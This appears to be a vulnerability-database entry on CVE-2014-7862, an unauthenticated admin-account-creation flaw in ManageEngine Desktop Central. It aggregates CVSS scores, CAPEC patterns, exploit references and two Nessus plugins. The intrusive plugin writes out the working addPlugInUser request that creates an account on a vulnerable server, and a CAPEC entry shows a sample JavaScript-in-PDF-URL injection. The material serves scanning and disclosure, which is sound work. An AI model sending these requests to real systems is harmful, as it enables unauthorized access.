Vulnerabilities > CVE-2014-7862 - Permissions, Privileges, and Access Controls vulnerability in Zohocorp Desktop Central

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
zohocorp
CWE-264
critical
nessus
exploit available
metasploit
NVD
Published: 2018-01-04
Updated: 2018-10-09

Summary

The DCPluginServelet servlet in ManageEngine Desktop Central and Desktop Central MSP before build 90109 allows remote attackers to create administrator accounts via an addPlugInUser action.

Vulnerable Configurations

Part Description Count
Application
Zohocorp
5

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Exploit-Db

descriptionManageEngine Desktop Central - Create Administrator. CVE-2014-7862. Webapps exploit for Multiple platform
idEDB-ID:43892
last seen2018-01-25
modified2015-01-15
published2015-01-15
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43892/
titleManageEngine Desktop Central - Create Administrator

Metasploit

descriptionThis module exploits an administrator account creation vulnerability in Desktop Central from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in several versions of Desktop Central (including MSP) from v7 onwards.
idMSF:AUXILIARY/ADMIN/HTTP/MANAGE_ENGINE_DC_CREATE_ADMIN
last seen2020-06-05
modified2018-09-15
published2015-01-05
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
titleManageEngine Desktop Central Administrator Account Creation

Nessus

  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_90109_USER_ADD_SAFE.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by a remote security bypass vulnerability, due to a failure to restrict access to
    last seen2020-06-01
    modified2020-06-02
    plugin id82081
    published2015-03-25
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/82081
    titleManageEngine Desktop Central Remote Security Bypass
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(82081);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/25");

  script_cve_id("CVE-2014-7862");
  script_bugtraq_id(71849);

  script_name(english:"ManageEngine Desktop Central Remote Security Bypass");
  script_summary(english:"Checks the version of ManageEngine Desktop Central.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a Java web application that is affected
by a security bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of ManageEngine Desktop Central running on the remote host
is affected by a remote security bypass vulnerability, due to a
failure to restrict access to 'DCPluginServelet'. This allows an
unauthenticated, remote attacker to create an account with full
administrative privileges within DesktopCentral and then perform any
tasks DesktopCentral administrative users could perform, including the
execution of code and commands on systems managed by DesktopCentral.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2015/Jan/2");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ManageEngine Desktop Central 9 build 90109 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-7862");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/12/31");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_desktop_central_detect.nbin");
  script_require_keys("installed_sw/ManageEngine Desktop Central");
  script_require_ports("Services/www", 8020, 8383, 8040);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

appname = "ManageEngine Desktop Central";
get_install_count(app_name:appname, exit_if_zero:TRUE);

port = get_http_port(default:8020);

install = get_single_install(
  app_name            : appname,
  port                : port,
  exit_if_unknown_ver : TRUE
);

dir = install["path"];
version = install["version"];
build   = install["build"];
ismsp   = install["MSP"];
rep_version = version;
if(build !=  UNKNOWN_VER)
  rep_version += " Build "+build;
install_url =  build_url(port:port, qs:dir);

# 7 - 9 build 90109
if (version !~ "^[7-9](\.|$)")
  audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);

if (version =~ "^9(\.|$)" && build == UNKNOWN_VER)
  exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined.");

if (int(build) < 90109)
{
  if (report_verbosity > 0)
  {
    report =
      '\n  URL               : ' + install_url +
      '\n  Installed version : ' + rep_version +
      '\n  Fixed version     : 9 Build 90109' +
      '\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_90109_USER_ADD.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by a remote security bypass vulnerability, due to a failure to restrict access to
    last seen2020-06-01
    modified2020-06-02
    plugin id82080
    published2015-03-25
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/82080
    titleManageEngine Desktop Central Remote Security Bypass (Intrusive Check)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(82080);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/25");

  script_cve_id("CVE-2014-7862");
  script_bugtraq_id(71849);

  script_name(english:"ManageEngine Desktop Central Remote Security Bypass (Intrusive Check)");
  script_summary(english:"Tries to add a user to the system.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a Java web application that is affected
by a security bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of ManageEngine Desktop Central running on the remote host
is affected by a remote security bypass vulnerability, due to a
failure to restrict access to 'DCPluginServelet'. This allows an
unauthenticated, remote attacker to create an account with full
administrative privileges within DesktopCentral and then perform any
tasks DesktopCentral administrative users could perform, including the
execution of code and commands on systems managed by DesktopCentral.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2015/Jan/2");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ManageEngine Desktop Central 9 build 90109 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-7862");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/12/31");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_desktop_central_detect.nbin");
  script_require_keys("installed_sw/ManageEngine Desktop Central");
  script_require_ports("Services/www", 8020, 8383, 8040);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

appname = "ManageEngine Desktop Central";
get_install_count(app_name:appname, exit_if_zero:TRUE);

port = get_http_port(default:8040);

install = get_single_install(
  app_name            : appname,
  port                : port
);

dir = install["path"];
install_url =  build_url(port:port, qs:dir);

# We add user as 'Guest' with an unusable password
name = "remove_me_nessus_"+rand_str(charset:"abcdefghijklmnopqrstuvwxyz0123456789",length:10);
url  = "";
if(dir != "/")
  url = dir; 
url += "/servlets/DCPluginServelet?action=addPlugInUser&role=DCGuest&userName="+name+"&[email protected]&phNumber=8675309&password=rG3yK%2BI4jU%2FO9H4hPjY6VA%3D%3D&salt=1426703757554&createdtime=02181987";

res = http_send_recv3(
  port            : port,
  method          : "POST",
  item            : url,
  content_type    : "text/html",
  exit_on_fail    : TRUE
);
exp_request = http_last_sent_request();

if ('message="Sucessfully added"' >< res[2])
{
  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    request    : make_list(build_url(port:port,qs:url)),
    output     : res[2],
    rep_extra  : "The non-functional user '"+name+"' was added to the system and must be removed.",
    generic    : TRUE
  );
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/129769/desktopcentral-addadmin.txt
idPACKETSTORM:129769
last seen2016-12-05
published2014-12-31
reporterPedro Ribeiro
sourcehttps://packetstormsecurity.com/files/129769/Desktop-Central-Add-Administrator.html
titleDesktop Central Add Administrator

References